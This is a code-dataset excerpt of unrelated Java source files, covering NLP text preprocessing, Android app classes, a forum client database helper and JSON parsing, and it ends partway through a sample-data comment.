file_id
int64 1
66.7k
| content
stringlengths 14
343k
| repo
stringlengths 6
92
| path
stringlengths 5
169
|
---|---|---|---|
65,339 | package Tools;
import java.io.IOException;
import Tools.StringAnalyzer;
import TypeTrans.Full2Half;
public class PreProcessText {
static public String preProcess4Task1(String inputStr, String tmpRelationP, String tmpEntityS, String tmpEntityO) throws IOException{
if (inputStr.length()<1) return inputStr;
//强制限制了实体词分开
if (tmpRelationP!=null) {
if (tmpRelationP.length()==4) { //传闻不和、同为校花、昔日情敌、绯闻女友 等关系 重心词在后面
if (!inputStr.contains(tmpRelationP)) {
tmpRelationP = tmpRelationP.substring(2);
}
}
inputStr = inputStr.replaceAll(tmpRelationP, " "+tmpRelationP+" ");
}
inputStr = inputStr.replaceAll(tmpEntityS, " "+tmpEntityS+" ");
inputStr = inputStr.replaceAll(tmpEntityO, " "+tmpEntityO+" ");
inputStr=Full2Half.ToDBC(inputStr);//全角转半角
inputStr=inputStr.toLowerCase();//字母全部小写
inputStr=inputStr.replaceAll("\\s+", " ");//多个空格缩成单个空格
inputStr = StringAnalyzer.extractGoodCharacter(inputStr); //去除所有特殊字符
// 无词性 带词性
inputStr = WordSegment_Ansj.splitWord(inputStr)+"\t"+WordSegment_Ansj.splitWordwithTag(inputStr);//进行分词
return inputStr;
}
static public String preProcess4Task2(String inputStr) throws IOException{
if (inputStr.length()<1) return inputStr;
inputStr=Full2Half.ToDBC(inputStr);//全角转半角
inputStr=inputStr.toLowerCase();//字母全部小写
inputStr=inputStr.replaceAll("\\s+", " ");//多个空格缩成单个空格
inputStr = StringAnalyzer.extractGoodCharacter(inputStr); //去除所有特殊字符
// 无词性 带词性
inputStr = WordSegment_Ansj.splitWordwithOutTag4Task2(inputStr);//进行分词
return inputStr.trim();
}
static public String preProcess4NLPCC2016(String inputStr, String topic) throws IOException{
if (inputStr.length()<1) return inputStr;
inputStr=inputStr.replaceAll("#"+topic+"#", " ");//(1)过滤掉HashTag的标识
inputStr=inputStr.replaceAll("http://t.cn/(.{7})", " ");//(2)过滤掉http://t.cn/[7个字符]
//(3)过滤掉一些特殊的分享标识,如:
//(分享[10个字符以内])(分享[10个字符以内]) 【分享[10个字符以内]】
//(来自[10个字符以内])(来自[10个字符以内]) 【来自[10个字符以内]】
inputStr=inputStr.replaceAll("(分享(.{0,9}))", " ");
inputStr=inputStr.replaceAll("\\(分享(.{0,9})\\)", " ");
inputStr=inputStr.replaceAll("【分享(.{0,9})】", " ");
inputStr=inputStr.replaceAll("(来自(.{0,9}))", " ");
inputStr=inputStr.replaceAll("\\(来自(.{0,9})\\)", " ");
inputStr=inputStr.replaceAll("【来自(.{0,9})】", " ");
//(4)过滤掉所有的@标识,如@腾讯新闻客户端 @[10个字符以内]后接另一个@、空格或换行符
String[] inputStr_sub = inputStr.split("\\s+");
StringBuffer inputStr_bf = new StringBuffer();
for (String tmpinputStr_sub:inputStr_sub) {
tmpinputStr_sub = tmpinputStr_sub+"<eos>";
tmpinputStr_sub = tmpinputStr_sub.replaceAll("@(.{0,9})@", "@");
tmpinputStr_sub = tmpinputStr_sub.replaceAll("@(.{0,9}) ", " ");
tmpinputStr_sub = tmpinputStr_sub.replaceAll("@(.{0,9})<eos>", " ");
tmpinputStr_sub = tmpinputStr_sub.replaceAll("<eos>", "");
inputStr_bf.append(tmpinputStr_sub);
inputStr_bf.append(" ");
}
inputStr = inputStr_bf.toString().trim();
inputStr_bf = null;
inputStr=Full2Half.ToDBC(inputStr);//(5)全角转半角
inputStr=inputStr.toLowerCase();//(6)字母全部小写
inputStr=inputStr.replaceAll("\\s+", " ");//(7)多个空格缩成单个空格
inputStr = StringAnalyzer.extractGoodCharacter(inputStr); //(8)去除所有特殊字符
inputStr = WordSegment_Ansj.splitWord(inputStr);//(9)进行分词
return inputStr.trim();
}
private static boolean isITSuffixSpamInfo(String tmpQuerySnippet, String tmpEntityS, String tmpEntityO) {
if ((tmpQuerySnippet.contains(tmpEntityS)||tmpQuerySnippet.contains(tmpEntityO))
&&tmpQuerySnippet.length()>4) {
return false;
}else {
return true;
}
}
}
| jacoxu/2016NLPCC_Stance_Detection | code/Feature_process_java/src/Tools/PreProcessText.java |
65,342 | package com.lbq.observer.push;
public class Main {
public static void main(String[] args) {
// 创建目标
ConcreteSubject subject = new ConcreteSubject();
// 创建观察者
ConcreteObserver observerGirl = new ConcreteObserver();
observerGirl.setObserverName("黄明女友");
observerGirl.setRemindThing("约会");
ConcreteObserver observerMum = new ConcreteObserver();
observerMum.setObserverName("黄明老妈");
observerMum.setRemindThing("扫货");
// 注册观察者
subject.attach(observerGirl);
subject.attach(observerMum);
// 目标发布天气
subject.setSubjectState("明天天气晴朗,蓝天白云,气温28度");
}
}
| linbangquan/java-listener | src/main/java/com/lbq/observer/push/Main.java |
65,343 | package com.stay4it.testcollapseview;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
private CollapseView mCollapseView1;
private CollapseView mCollapseView2;
private CollapseView mCollapseView3;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
init();
}
private void init(){
mCollapseView1 = (CollapseView) findViewById(R.id.collapseView1);
mCollapseView1.setNumber("1");
mCollapseView1.setTitle("女友");
mCollapseView1.setContent(R.layout.expand_1);
mCollapseView2 =(CollapseView) findViewById(R.id.collapseView2);
mCollapseView2.setNumber("2");
mCollapseView2.setTitle("妹子");
mCollapseView2.setContent(R.layout.expand_2);
mCollapseView3 =(CollapseView) findViewById(R.id.collapseView3);
mCollapseView3.setNumber("3");
mCollapseView3.setTitle("美女");
mCollapseView3.setContent(R.layout.expand_3);
}
}
| linfeidie/customView | TestCollapseView/src/main/java/com/stay4it/testcollapseview/MainActivity.java |
65,344 | package org.xiaoxingqi.gmdoc.entity;
/**
* Created by yzm on 2017/11/2.
*/
public class BaseHomeBean {
/**
* cover : http://cdn.gmdoc.com/image/PS4riban00283.jpg
* extra : 不兼容VR
* game_name : 巨影都市
* id : 103401
* introduce : 《巨影都市》是一款特殊的生存动作游戏,本作会有破坏城市和守护城市的两种奥特曼登场。此外,游戏中可以选择主角性别,男主角的姓名也已确定为三崎健(三崎ケン),在巨影出现后他会赶往公园拯救女友。
* sale_time : 2017年10月19日
* score : 10
* version : 日版
* version_id : 6
*/
private String cover;
private String extra;
private String game_name;
private String id;
private String introduce;
private String sale_time;
private float score;
private String version;
private int version_id;
private String title;
private int type;
private int uid;
private String avatar;
private String name;
private int layoutType;//布局文件的类型
public int getLayoutType() {
return layoutType;
}
public void setLayoutType(int layoutType) {
this.layoutType = layoutType;
}
public String getCover() {
return cover;
}
public void setCover(String cover) {
this.cover = cover;
}
public String getExtra() {
return extra;
}
public void setExtra(String extra) {
this.extra = extra;
}
public String getGame_name() {
return game_name;
}
public void setGame_name(String game_name) {
this.game_name = game_name;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getIntroduce() {
return introduce;
}
public void setIntroduce(String introduce) {
this.introduce = introduce;
}
public String getSale_time() {
return sale_time;
}
public void setSale_time(String sale_time) {
this.sale_time = sale_time;
}
public float getScore() {
return score;
}
public void setScore(float score) {
this.score = score;
}
public String getVersion() {
return version;
}
public void setVersion(String version) {
this.version = version;
}
public int getVersion_id() {
return version_id;
}
public void setVersion_id(int version_id) {
this.version_id = version_id;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public int getType() {
return type;
}
public void setType(int type) {
this.type = type;
}
public int getUid() {
return uid;
}
public void setUid(int uid) {
this.uid = uid;
}
public String getAvatar() {
return avatar;
}
public void setAvatar(String avatar) {
this.avatar = avatar;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
| dflamingoY/gmBeta | app/src/main/java/org/xiaoxingqi/gmdoc/entity/BaseHomeBean.java |
65,346 | package com.atguigu.mtimeapp.daiwei;
import java.util.List;
/**
* Created by daiwei on 2016/4/11.
*
* 搜索结果实体类
*/
public class SearchResultBean {
/**
* suggestions : [{"id":209007,"type":1,"contentType":"电影","movieType":"爱情 | 剧情 | 科幻","isFilter":false,"titlecn":"美人鱼","titleen":"The Mermaid","rLocation":"中国","locationName":"中国","year":"2016","director":"周星驰","cover":"http://img31.mtime.cn/mt/2016/02/04/165933.21865133_1280X720X2.jpg"},{"id":89952,"type":1,"contentType":"电影","movieType":"动作 | 冒险 | 奇幻","isFilter":false,"titlecn":"魔兽","titleen":"Warcraft","rLocation":"美国","locationName":"美国","year":"2016","director":"邓肯·琼斯","cover":"http://img31.mtime.cn/mt/2016/04/01/091052.69736286_1280X720X2.jpg"},{"id":209122,"type":1,"contentType":"电影","movieType":"动作 | 科幻 | 惊悚","isFilter":false,"titlecn":"美国队长3","titleen":"Captain America: Civil War","rLocation":"美国","locationName":"美国","year":"2016","director":"安东尼·罗素","cover":"http://img31.mtime.cn/mt/2016/04/08/170930.97388737_1280X720X2.jpg"},{"id":210271,"type":1,"contentType":"电影","movieType":"爱情 | 喜剧","isFilter":false,"titlecn":"我的新野蛮女友","titleen":"My New Sassy Girl","rLocation":"中国","locationName":"中国","year":"2016","director":"赵根植","cover":"http://img31.mtime.cn/mt/2016/03/16/092953.63679225_1280X720X2.jpg"},{"id":1750136,"type":3,"titlecn":"李敏芝","titleen":"Min-ji Lee","sex":"女","birthLocation":"韩国","profession":"演员","birth":"1989-1-23","cover":"http://img31.mtime.cn/ph/2015/01/06/115646.70571366_1280X720X2.jpg"}]
* goodsCount : 5
*/
private int goodsCount;
/**
* id : 209007
* type : 1
* contentType : 电影
* movieType : 爱情 | 剧情 | 科幻
* isFilter : false
* titlecn : 美人鱼
* titleen : The Mermaid
* rLocation : 中国
* locationName : 中国
* year : 2016
* director : 周星驰
* cover : http://img31.mtime.cn/mt/2016/02/04/165933.21865133_1280X720X2.jpg
*/
private List<SuggestionsBean> suggestions;
public int getGoodsCount() {
return goodsCount;
}
public void setGoodsCount(int goodsCount) {
this.goodsCount = goodsCount;
}
public List<SuggestionsBean> getSuggestions() {
return suggestions;
}
public void setSuggestions(List<SuggestionsBean> suggestions) {
this.suggestions = suggestions;
}
public static class SuggestionsBean {
private int id;
private int type;
private String contentType;
private String movieType;
private boolean isFilter;
private String titlecn;
private String titleen;
private String rLocation;
private String locationName;
private String year;
private String director;
private String cover;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getType() {
return type;
}
public void setType(int type) {
this.type = type;
}
public String getContentType() {
return contentType;
}
public void setContentType(String contentType) {
this.contentType = contentType;
}
public String getMovieType() {
return movieType;
}
public void setMovieType(String movieType) {
this.movieType = movieType;
}
public boolean isIsFilter() {
return isFilter;
}
public void setIsFilter(boolean isFilter) {
this.isFilter = isFilter;
}
public String getTitlecn() {
return titlecn;
}
public void setTitlecn(String titlecn) {
this.titlecn = titlecn;
}
public String getTitleen() {
return titleen;
}
public void setTitleen(String titleen) {
this.titleen = titleen;
}
public String getRLocation() {
return rLocation;
}
public void setRLocation(String rLocation) {
this.rLocation = rLocation;
}
public String getLocationName() {
return locationName;
}
public void setLocationName(String locationName) {
this.locationName = locationName;
}
public String getYear() {
return year;
}
public void setYear(String year) {
this.year = year;
}
public String getDirector() {
return director;
}
public void setDirector(String director) {
this.director = director;
}
public String getCover() {
return cover;
}
public void setCover(String cover) {
this.cover = cover;
}
}
}
| my-mTime/mTimeApp | app/src/main/java/com/atguigu/mtimeapp/daiwei/SearchResultBean.java |
65,349 | package com.jesson.sexybelle.helper;
import android.content.Context;
import com.jesson.android.internet.InternetUtils;
import com.jesson.android.internet.core.NetWorkException;
import com.jesson.sexybelle.AppConfig;
import com.jesson.sexybelle.api.series.GetSeriesListRequest;
import com.jesson.sexybelle.api.series.GetSeriesListResponse;
import com.jesson.sexybelle.dao.model.DaoSession;
import com.jesson.sexybelle.dao.model.Series;
import com.jesson.sexybelle.dao.model.SeriesDao;
import com.jesson.sexybelle.dao.utils.DaoUtils;
import com.jesson.sexybelle.event.SeriesUpdatedEvent;
import java.util.ArrayList;
import java.util.List;
import de.greenrobot.event.EventBus;
/**
* Created by zhangdi on 14-3-11.
*/
public class SeriesHelper {
private static SeriesHelper mInstance = new SeriesHelper();
private List<Series> mSeriesList = new ArrayList<Series>();
private SeriesHelper() {
}
public void syncSeries(final Context context) {
DaoSession session = DaoUtils.getDaoSession(context);
final SeriesDao dao = session.getSeriesDao();
// load from local database
mSeriesList = dao.loadAll();
if (mSeriesList == null || mSeriesList.size() == 0) {
// 加载默认
mSeriesList = defaultSeries();
dao.insertInTx(mSeriesList);
}
mSeriesList.addAll(localSeries());
new Thread() {
@Override
public void run() {
// load from server
GetSeriesListRequest request = new GetSeriesListRequest();
try {
GetSeriesListResponse response = InternetUtils.request(context, request);
if (response != null && response.seriesList != null && response.seriesList.size() > 0) {
List<Series> list = new ArrayList<Series>();
for (com.jesson.sexybelle.api.series.Series s : response.seriesList) {
Series series = new Series(s.type, s.title);
list.add(series);
}
// delete old
dao.deleteAll();
mSeriesList.clear();
// insert new
dao.insertInTx(list);
mSeriesList.addAll(list);
mSeriesList.addAll(localSeries());
// post event
EventBus.getDefault().post(new SeriesUpdatedEvent());
}
} catch (NetWorkException e) {
e.printStackTrace();
}
}
}.start();
}
private List<Series> defaultSeries() {
List<Series> list = new ArrayList<Series>();
if (AppConfig.SERIES_MODE == 1) {
Series series1 = new Series(1, "性感美女");
list.add(series1);
Series series2 = new Series(2, "岛国女友");
list.add(series2);
Series series3 = new Series(3, "丝袜美腿");
list.add(series3);
Series series4 = new Series(4, "有沟必火");
list.add(series4);
Series series5 = new Series(5, "有沟必火");
list.add(series5);
Series series11 = new Series(11, "明星美女");
list.add(series11);
Series series12 = new Series(12, "甜素纯");
list.add(series12);
Series series13 = new Series(13, "校花");
list.add(series13);
} else {
Series series11 = new Series(11, "明星美女");
list.add(series11);
Series series12 = new Series(12, "甜素纯");
list.add(series12);
Series series13 = new Series(13, "古典美女");
list.add(series13);
Series series14 = new Series(14, "校花");
list.add(series14);
}
return list;
}
private List<Series> localSeries() {
List<Series> list = new ArrayList<Series>();
Series collect = new Series(-1, "我的收藏");
list.add(collect);
if (AppConfig.SERIES_MODE != 1) {
Series suggest = new Series(-2, "推荐应用");
list.add(suggest);
}
return list;
}
public static SeriesHelper getInstance() {
return mInstance;
}
public List<Series> getSeriesList() {
return mSeriesList;
}
}
| zhangdi0917/SexyBelle | Belle/src/main/java/com/jesson/sexybelle/helper/SeriesHelper.java |
65,350 | /*
* Copyright 2015 Hippo Seven
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hippo.tnmb.util;
import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import com.hippo.tnmb.client.ac.data.ACForum;
import com.hippo.tnmb.client.data.ACSite;
import com.hippo.tnmb.client.data.CommonPost;
import com.hippo.tnmb.client.data.DisplayForum;
import com.hippo.tnmb.dao.ACCommonPostDao;
import com.hippo.tnmb.dao.ACCommonPostRaw;
import com.hippo.tnmb.dao.ACForumDao;
import com.hippo.tnmb.dao.ACForumRaw;
import com.hippo.tnmb.dao.ACRecordDao;
import com.hippo.tnmb.dao.ACRecordRaw;
import com.hippo.tnmb.dao.DaoMaster;
import com.hippo.tnmb.dao.DaoSession;
import com.hippo.tnmb.dao.DraftDao;
import com.hippo.tnmb.dao.DraftRaw;
import com.hippo.yorozuya.AssertUtils;
import com.hippo.yorozuya.ObjectUtils;
import java.util.ArrayList;
import java.util.List;
import de.greenrobot.dao.query.LazyList;
public final class DB {
private static String[] AC_FORUM_ID_ARRAY = {"-1", "4", "20", "11", "30", "32", "40", "35", "56", "110", "15", "19", "106", "17", "98", "102", "75", "97", "89", "96", "81", "111", "14", "12", "90", "99", "87", "64", "5", "93", "101", "6", "103", "2", "23", "72", "3", "25", "107", "24", "22", "70", "38", "86", "51", "10", "28", "108", "45", "34", "29", "16", "100", "13", "55", "39", "31", "37", "33", "18", "112", };
private static String[] AC_FORUM_NAME_ARRAY = {"时间线", "综合版1", "欢乐恶搞", "推理(脑洞)", "技术(码农)", "料理(美食<font style='color:#fff'>·汪版</font>)", "喵版(主子)", "音乐(推歌)", "学业(校园)", "社畜<font color=\"red\">New!</font>", "科学(理学)", "小说(连载)", "买买买(剁手)", "绘画涂鸦(二创)", "姐妹1(淑女)", "LGBT", "数码(装机)", "女装(时尚)", "日记(树洞)", "圈内(版务讨论)", "都市怪谈(灵异)", "跑团<font style='color:#f00'>New!</font>", "动画", "漫画", "美漫(小马)", "国漫", "轻小说", "GALGAME", "东方Project", "舰娘", "LoveLive", "VOCALOID", "文学(推书)", "游戏综合版", "暴雪游戏<font color=\"red\">New!</font>", "DNF", "手游<font color=\"red\">New!</font>", "任天堂<font color=\"red\">NS</font>", "Steam", "索尼", "LOL", "DOTA", "精灵宝可梦", "战争雷霆", "坦克战机战舰世界", "Minecraft", "怪物猎人", "辐射4", "卡牌桌游", "音乐游戏", "AC大逃杀", "日本偶像(AKB)", "中国偶像(SNH)", "眼科(Cosplay)", "声优", "模型(手办)", "电影/电视", "军武", "体育", "值班室", "城墙", };
private static DaoSession sDaoSession;
public static class DBOpenHelper extends DaoMaster.OpenHelper {
private boolean mCreate;
private boolean mUpgrade;
private int mOldVersion;
private int mNewVersion;
public DBOpenHelper(Context context, String name, SQLiteDatabase.CursorFactory factory) {
super(context, name, factory);
}
@Override
public void onCreate(SQLiteDatabase db) {
super.onCreate(db);
mCreate = true;
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
mUpgrade = true;
mOldVersion = oldVersion;
mNewVersion = newVersion;
switch (oldVersion) {
case 1:
ACRecordDao.createTable(db, true);
case 2:
ACCommonPostDao.createTable(db, true);
case 3:
db.execSQL("ALTER TABLE '" + ACForumDao.TABLENAME + "' ADD COLUMN '" +
ACForumDao.Properties.Msg.columnName + "' TEXT");
case 4:
db.execSQL("ALTER TABLE '" + ACForumDao.TABLENAME + "' ADD COLUMN '" +
ACForumDao.Properties.Official.columnName + "' INTEGER DEFAULT 0");
}
}
public boolean isCreate() {
return mCreate;
}
public void clearCreate() {
mCreate = false;
}
public boolean isUpgrade() {
return mUpgrade;
}
public void clearUpgrade() {
mUpgrade = false;
}
public int getOldVersion() {
return mOldVersion;
}
}
public static void initialize(Context context) {
DBOpenHelper helper = new DBOpenHelper(
context.getApplicationContext(), "nimingban", null);
SQLiteDatabase db = helper.getWritableDatabase();
DaoMaster daoMaster = new DaoMaster(db);
sDaoSession = daoMaster.newSession();
if (helper.isCreate()) {
helper.clearCreate();
insertDefaultACForums();
insertDefaultACCommonPosts();
}
if (helper.isUpgrade()) {
helper.clearUpgrade();
switch (helper.getOldVersion()) {
case 1:
case 2:
insertDefaultACCommonPosts();
case 3:
}
}
}
private static void insertDefaultACForums() {
ACForumDao dao = sDaoSession.getACForumDao();
dao.deleteAll();
for (int i = 0; i < AC_FORUM_NAME_ARRAY.length; i++) {
ACForumRaw raw = new ACForumRaw();
raw.setPriority(i);
raw.setForumid(AC_FORUM_ID_ARRAY[i]);
raw.setDisplayname(AC_FORUM_NAME_ARRAY[i]);
raw.setVisibility(true);
raw.setOfficial(true);
dao.insert(raw);
}
}
private static void insertDefaultACCommonPosts() {
ACCommonPostDao dao = sDaoSession.getACCommonPostDao();
dao.deleteAll();
int size = 13;
String[] names = {
"人,是会思考的芦苇", "丧尸图鉴", "壁纸楼", "足控福利", "淡定红茶",
"胸器福利", "黑妹", "总有一天", "这是芦苇", "赵日天",
"二次元女友", "什么鬼", "Banner画廊"};
String[] ids = {
"6064422", "585784", "117617", "103123", "114373",
"234446", "55255", "328934", "49607", "1738904",
"553505", "5739391", "6538597"};
AssertUtils.assertEquals("ids.size must be size", size, ids.length);
AssertUtils.assertEquals("names.size must be size", size, names.length);
for (int i = 0; i < size; i++) {
ACCommonPostRaw raw = new ACCommonPostRaw();
raw.setName(names[i]);
raw.setPostid(ids[i]);
dao.insert(raw);
}
}
public static List<DisplayForum> getACForums(boolean onlyVisible) {
ACForumDao dao = sDaoSession.getACForumDao();
List<ACForumRaw> list = dao.queryBuilder().orderAsc(ACForumDao.Properties.Priority).list();
List<DisplayForum> result = new ArrayList<>();
for (ACForumRaw raw : list) {
if (onlyVisible && !raw.getVisibility()) {
continue;
}
DisplayForum dForum = new DisplayForum();
dForum.site = ACSite.getInstance();
dForum.id = raw.getForumid();
dForum.displayname = raw.getDisplayname();
dForum.priority = raw.getPriority();
dForum.visibility = raw.getVisibility();
dForum.msg = raw.getMsg();
dForum.official = raw.getOfficial();
result.add(dForum);
}
return result;
}
private static String getACForumName(ACForum forum) {
String name = forum.showName;
if (name == null || name.isEmpty()) {
name = forum.name;
}
return name;
}
private static ACForumRaw toACForumRaw(ACForum forum, int priority, boolean visibility) {
ACForumRaw raw = new ACForumRaw();
raw.setDisplayname(getACForumName(forum));
raw.setForumid(forum.id);
raw.setPriority(priority);
raw.setVisibility(visibility);
raw.setMsg(forum.msg);
raw.setOfficial(true);
return raw;
}
/**
* Add official forums.
*/
public static void setACForums(List<ACForum> list) {
ACForumDao dao = sDaoSession.getACForumDao();
List<ACForumRaw> currentList = sDaoSession.getACForumDao().queryBuilder()
.orderAsc(ACForumDao.Properties.Priority).list();
List<ACForum> addList = new ArrayList<>(list);
List<ACForumRaw> newList = new ArrayList<>();
for (int i = 0, n = addList.size(); i < n; i++) {
ACForum forum = addList.get(i);
for (int j = 0, m = currentList.size(); j < m; j++) {
ACForumRaw raw = currentList.get(j);
if (ObjectUtils.equal(forum.id, raw.getForumid())) {
newList.add(toACForumRaw(forum, raw.getPriority(), raw.getVisibility()));
addList.remove(i);
i--;
n--;
break;
}
}
}
int i = getACForumMaxPriority() + 1;
for (ACForum forum : addList) {
newList.add(toACForumRaw(forum, i, true));
i++;
}
dao.deleteAll();
dao.insertInTx(newList);
}
private static int getACForumMaxPriority() {
List<ACForumRaw> list = sDaoSession.getACForumDao().queryBuilder()
.orderDesc(ACForumDao.Properties.Priority).limit(1).list();
if (list.isEmpty()) {
return -1;
} else {
return list.get(0).getPriority();
}
}
public static ACForumRaw getACForumForForumid(String id) {
List<ACForumRaw> list = sDaoSession.getACForumDao().queryBuilder()
.where(ACForumDao.Properties.Forumid.eq(id)).limit(1).list();
if (list.isEmpty()) {
return null;
} else {
return list.get(0);
}
}
public static void removeACForum(ACForumRaw raw) {
sDaoSession.getACForumDao().delete(raw);
}
public static void updateACForum(ACForumRaw raw) {
sDaoSession.getACForumDao().update(raw);
}
public static LazyList<ACForumRaw> getACForumLazyList() {
return sDaoSession.getACForumDao().queryBuilder().orderAsc(ACForumDao.Properties.Priority).listLazy();
}
public static void setACForumVisibility(ACForumRaw raw, boolean visibility) {
raw.setVisibility(visibility);
sDaoSession.getACForumDao().update(raw);
}
public static void updateACForum(Iterable<ACForumRaw> entities) {
sDaoSession.getACForumDao().updateInTx(entities);
}
public static LazyList<DraftRaw> getDraftLazyList() {
return sDaoSession.getDraftDao().queryBuilder().orderDesc(DraftDao.Properties.Time).listLazy();
}
public static void addDraft(String content) {
addDraft(content, -1);
}
public static void addDraft(String content, long time) {
DraftRaw raw = new DraftRaw();
raw.setContent(content);
raw.setTime(time == -1 ? System.currentTimeMillis() : time);
sDaoSession.getDraftDao().insert(raw);
}
public static void removeDraft(long id) {
sDaoSession.getDraftDao().deleteByKey(id);
}
public static final int AC_RECORD_POST = 0;
public static final int AC_RECORD_REPLY = 1;
public static LazyList<ACRecordRaw> getACRecordLazyList() {
return sDaoSession.getACRecordDao().queryBuilder().orderDesc(ACRecordDao.Properties.Time).listLazy();
}
public static void addACRecord(int type, String recordid, String postid, String content, String image) {
addACRecord(type, recordid, postid, content, image, -1);
}
public static void addACRecord(int type, String recordid, String postid, String content, String image, long time) {
ACRecordRaw raw = new ACRecordRaw();
raw.setType(type);
raw.setRecordid(recordid);
raw.setPostid(postid);
raw.setContent(content);
raw.setImage(image);
raw.setTime(time == -1 ? System.currentTimeMillis() : time);
sDaoSession.getACRecordDao().insert(raw);
}
public static void removeACRecord(ACRecordRaw raw) {
sDaoSession.getACRecordDao().delete(raw);
}
public static List<CommonPost> getAllACCommentPost() {
ACCommonPostDao dao = sDaoSession.getACCommonPostDao();
List<ACCommonPostRaw> list = dao.queryBuilder().orderAsc(ACCommonPostDao.Properties.Id).list();
List<CommonPost> result = new ArrayList<>();
for (ACCommonPostRaw raw : list) {
CommonPost cp = new CommonPost();
cp.name = raw.getName();
cp.id = raw.getPostid();
result.add(cp);
}
return result;
}
public static void setACCommonPost(List<CommonPost> list) {
ACCommonPostDao dao = sDaoSession.getACCommonPostDao();
dao.deleteAll();
List<ACCommonPostRaw> insertList = new ArrayList<>();
for (CommonPost cp : list) {
ACCommonPostRaw raw = new ACCommonPostRaw();
raw.setName(cp.name);
raw.setPostid(cp.id);
insertList.add(raw);
}
dao.insertInTx(insertList);
}
}
| lance6716/tnmb | app/src/main/java/com/hippo/tnmb/util/DB.java |
65,351 | package com.yuanshen.LambdAa;
import java.util.Arrays;
import java.util.Comparator;
public class Demo3 {
public static void main(String[] args) {
String[] a={"邓子龙","暗恋","何昊小女友"};
Arrays.sort(a, (String o1, String o2)->
(o1.length()-o2.length())
);
for (int i = 0; i < a.length; i++) {
System.out.print(a[i]+" ");
}
}
}
| janyu12311/java-practice | java-api/src/com/yuanshen/LambdAa/Demo3.java |
65,352 | package com.zhihu.utils;
import java.util.ArrayList;
import java.util.List;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import com.zhihu.beans.BeforeNewsInfo;
import com.zhihu.beans.LatstNewsInfo;
import com.zhihu.beans.NewsDetail;
import com.zhihu.beans.NewsInfo;
public class JsonUtils {
//1. 启动界面图像获取
//{"text":"","img":"https:\/\/pic4.zhimg.com\/715717d2436d1fed01f2b20453dc686b.jpg"}
public static String getWelcomeImagePath(String data){
try {
JSONObject jsonObject = new JSONObject(data);
String path = jsonObject.getString("img");
return path;
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
//{
// "date":"20160427","stories":[
//{"images":["http:\/\/pic2.zhimg.com\/661cb9a906168f0b3a3f8a171beb382d.jpg"],"type":0,"id":8221013,"ga_prefix":"042715","title":"顶尖科学家说,得癌症只是因为「运气不好」?"},
//{"images":["http:\/\/pic1.zhimg.com\/1f059bd0e3c3e32e6fe0dc1105057fc8.jpg"],"type":0,"id":8221192,"ga_prefix":"042714","title":"这家商场出了个规定,让顾客自己选想去男厕所还是女厕所"},
//{"images":["http:\/\/pic1.zhimg.com\/52abf4516ff296f165c7bab61da5e818.jpg"],"type":0,"id":8219522,"ga_prefix":"042713","title":"了解这个病,或许可以避免一些儿童睾丸坏死的悲剧"},
//{"images":["http:\/\/pic2.zhimg.com\/43e509f3cbed4b053cfe6611a7868c3d.jpg"],"type":0,"id":8219938,"ga_prefix":"042712","title":"如果有 500 万,你是买学区房还是移民?"},
//{"images":["http:\/\/pic2.zhimg.com\/b9bdccc020565def9c72655016fb0b51.jpg"],"type":0,"id":8211883,"ga_prefix":"042711","title":"女友警告我「不要用你的心理学来分析我」,怎么办?"},
//{"images":["http:\/\/pic1.zhimg.com\/7fd5407d551e4a5306f2ac6427e16fd8.jpg"],"type":0,"id":8215887,"ga_prefix":"042710","title":"我是一个签证官,每天都在听各种中国人讲自己的故事"},
//{"images":["http:\/\/pic2.zhimg.com\/da7a687744be98f5c13bde46d3f23dd9.jpg"],"type":0,"id":8210456,"ga_prefix":"042709","title":"我也想为环保尽一份力,于是找到了他们"},
//{"images":["http:\/\/pic3.zhimg.com\/d53ab4467b9125f138882276ad76c176.jpg"],"type":0,"id":8219136,"ga_prefix":"042708","title":"在美美的山水画里,两个小人打来打去真的好吗?"},
//{"images":["http:\/\/pic2.zhimg.com\/46389e957cbe7d6f26b547ed29dbcf31.jpg"],"type":0,"id":8212950,"ga_prefix":"042707","title":"在澳洲买一堆房的中国土豪,和买不起房的澳洲人民"},
//{"images":["http:\/\/pic3.zhimg.com\/6b65c99e30c5fc33d9c16670dedbe78a.jpg"],"type":0,"id":8217961,"ga_prefix":"042707","title":"在中国,黑客真的能侵入银行?那得看是什么银行"},
//{"images":["http:\/\/pic2.zhimg.com\/e23f046541948f82c32724790e368c49.jpg"],"type":0,"id":8199208,"ga_prefix":"042707","title":"当领导这件事,女性天生比比男性差吗?"},
//{"images":["http:\/\/pic3.zhimg.com\/13b5173bb8ff37c51841d61fcc6beaba.jpg"],"type":0,"id":8219299,"ga_prefix":"042707","title":"读读日报 24 小时热门 TOP 5 · 我以为这种事离自己很远"},
//{"images":["http:\/\/pic1.zhimg.com\/3ccd39a9d57f9b18a1d38c15d3196f44.jpg"],"type":0,"id":8206687,"ga_prefix":"042706","title":"瞎扯 · 如何正确地吐槽"},
//{"images":["http:\/\/pic2.zhimg.com\/950041d23d0f6c07de87d53e34fef6a1.jpg"],"type":0,"id":8217201,"ga_prefix":"042706","title":"这里是广告 · 25W,如何从北京车展选一款品味之车?"}],
// "top_stories":[
//{"image":"http:\/\/pic3.zhimg.com\/9d9ec0d6d48dcbafa4f61e040770ef4e.jpg","type":0,"id":8221192,"ga_prefix":"042714","title":"这家商场出了个规定,让顾客自己选想去男厕所还是女厕所"},
